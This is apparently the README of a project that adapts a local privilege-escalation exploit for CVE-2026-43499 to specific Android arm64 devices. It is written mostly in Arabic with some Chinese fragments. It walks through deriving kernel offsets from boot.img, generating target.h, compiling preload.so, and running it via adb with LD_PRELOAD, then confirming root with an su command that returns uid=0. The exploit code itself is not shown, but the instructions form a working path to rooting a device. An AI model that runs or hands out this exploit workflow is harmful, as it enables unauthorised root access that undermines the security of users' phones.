
يولّد إزاحات النواة الخاصة بكل جهاز من ملف boot.img ويُجمّع مكتبة تحميل مسبق (preload) لاستغلال ثغرة تصعيد الامتيازات المحلية CVE-2026-43499 على أندرويد بمعمارية arm64.
English | العربية
هذا مشروع لتكييف تصعيد الامتيازات المحلي على Android arm64 لثغرة CVE-2026-43499.
يقوم المشروع بإنشاء target.h استنادًا إلى boot.img ومعلومات profile الخاصة بالجهاز الهدف، ثم يجمّع ملف preload.so المطابق.
ملاحظة: هذا المشروع إطار عمل تكييف عام ولا يرتبط بطراز معيّن. تعتمد قابلية الاستخدام الفعلية على نجاح
generate_target.pyفي إنشاءtarget.hونتائج الاختبار على جهاز حقيقي.
项目目录/
├── boot.img # 目标设备同固件 boot 镜像
├── profile.json # 目标设备 profile
├── detect_offset.py # 检测 profile 用
├── generate_target.py # 生成 target.h
├── source/
│ ├── Makefile
│ └── src/
│ └── target.h # 自动生成
└── source/build/bin/
└── preload.so # 编译产物
Python 3
LLVM / llvm-objdump
Android NDK
make
adb
يُوصى باستخدام ما يلي على Windows:
MSYS2 UCRT64
Android NDK r29
LLVM Windows x86_64
لتثبيت make داخل MSYS2:
pacman -S make coreutils
ستحتاج إلى تجهيز:
boot.img
profile.json
مثال على ملف profile:
{
"p0_phys_offset": "0x80000000",
"p0_kernel_phys_load": "0xc7800000"
}
هذان العنوانان في ملف profile:
p0_phys_offset
p0_kernel_phys_load
يمكنك الحصول عليهما بتشغيل السكربت على هاتف مجذّر (Root) يعمل بنفس البرنامج الثابت لملف boot.img الهدف:
python3 detect_offset.py
ويمكن فعل ذلك أيضًا على Windows:
python detect_offset.py
Linux / macOS:
cd PATH/project
مثال على Windows MSYS2:
cd PATH/CVE-2026-43499-Poc-Analysis-main
مثال على Linux / macOS:
export ANDROID_NDK_HOME=PATH/android-ndk
مثال على Windows MSYS2:
export ANDROID_NDK_HOME=PATH/android-ndk-r29
python generate_target.py \
--boot boot.img \
--profile profile.json \
-o source/src/target.h
أو باستخدام CMD:
python generate_target.py --boot boot.img --profile profile.json -o source/src/target.h
إذا ظهرت رسالة تفيد بعدم العثور على llvm-objdump، فحدّد المسار يدويًا:
python generate_target.py \
--boot boot.img \
--profile profile.json \
-o source/src/target.h \
--llvm-objdump "PATH/clang+llvm-22.1.8-x86_64-pc-windows-msvc/bin/llvm-objdump.exe"
أو باستخدام CMD:
python generate_target.py --boot boot.img --profile profile.json -o source/src/target.h --llvm-objdump "PATH/clang+llvm-22.1.8-x86_64-pc-windows-msvc/bin/llvm-objdump.exe"
بعد النجاح سترى مخرجًا مشابهًا لما يلي:
生成成功: .../source/src/target.h
kernel SHA-256: ...
target macros: ...
Linux / macOS:
make -C source clean preload
Windows MSYS2:
make -C source clean preload NDK_PREBUILT=windows-x86_64
بعد النجاح سيتم إنشاء:
source/build/bin/preload.so
adb push source/build/bin/preload.so /data/local/tmp/preload.so
adb shell "chmod 0644 /data/local/tmp/preload.so"
adb shell "LD_PRELOAD=/data/local/tmp/preload.so /system/bin/true"
للتحقق:
adb shell "/data/local/tmp/su -c 'id'"
عند النجاح سترى عادةً:
uid=0(root) gid=0(root)
وفقًا لمثال المسار لديك:
cd PATH/CVE-2026-43499-annibale-main
export ANDROID_NDK_HOME=PATH/android-ndk-r29
python generate_target.py --boot boot.img --profile profile.json -o source/src/target.h
make -C source clean preload NDK_PREBUILT=windows-x86_64
الملف النهائي:
source/build/bin/preload.so
ثبّت LLVM، أو استخدم الخيار:
--llvm-objdump "PATH/llvm-objdump"
على Windows، ثبّته عبر MSYS2:
pacman -S make coreutils
عادةً ما يكون السبب هو أن مسار NDK لم يُضبط بشكل صحيح.
مثال على Windows MSYS2:
export ANDROID_NDK_HOME=PATH/android-ndk-r29
make -C source clean preload NDK_PREBUILT=windows-x86_64
عادةً ما يعني ذلك أن ملف boot.img الحالي أو تخطيط النواة لم يُكيَّف بنجاح بعد.
ركّز على التحقق من:
boot.img 是否完整
profile 是否正确
llvm-objdump 是否可用
内核是否有 IKCONFIG / kallsyms / BTF
target.h.target.h يدويًا؛ يجب أن يُنشأ تلقائيًا عبر generate_target.py.